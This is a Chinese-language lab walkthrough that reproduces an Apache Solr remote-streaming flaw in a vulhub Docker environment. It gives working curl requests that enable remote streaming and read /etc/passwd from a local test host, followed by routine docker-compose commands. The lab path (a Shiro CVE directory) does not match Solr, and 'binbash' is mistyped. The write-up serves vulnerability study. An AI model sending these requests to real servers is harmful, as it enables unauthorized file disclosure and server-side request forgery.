声明
好好学习,天天向上
漏洞描述
Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。
影响范围
Apache Solr <= 8.8.1(全版本)
复现过程
这里使用8.1.1版本
使用vulhub
/app/vulhub/vulhub-master/shiro/CVE-2020-1957
使用docker启动
docker-compose build
docker-compose up -d
环境启动后,访问
http://192.168.31.96:8983
访问,获取core
http://192.168.31.96:8983/solr/admin/cores?indexInfo=false&wt=json
我们这里core为demo,命令行发送
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://192.168.31.96:8983/solr/demo/config'
读取任意文件
curl -i -s -k 'http://192.168.31.96:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID binbash
关闭镜像(每次用完后关闭)
docker-compose down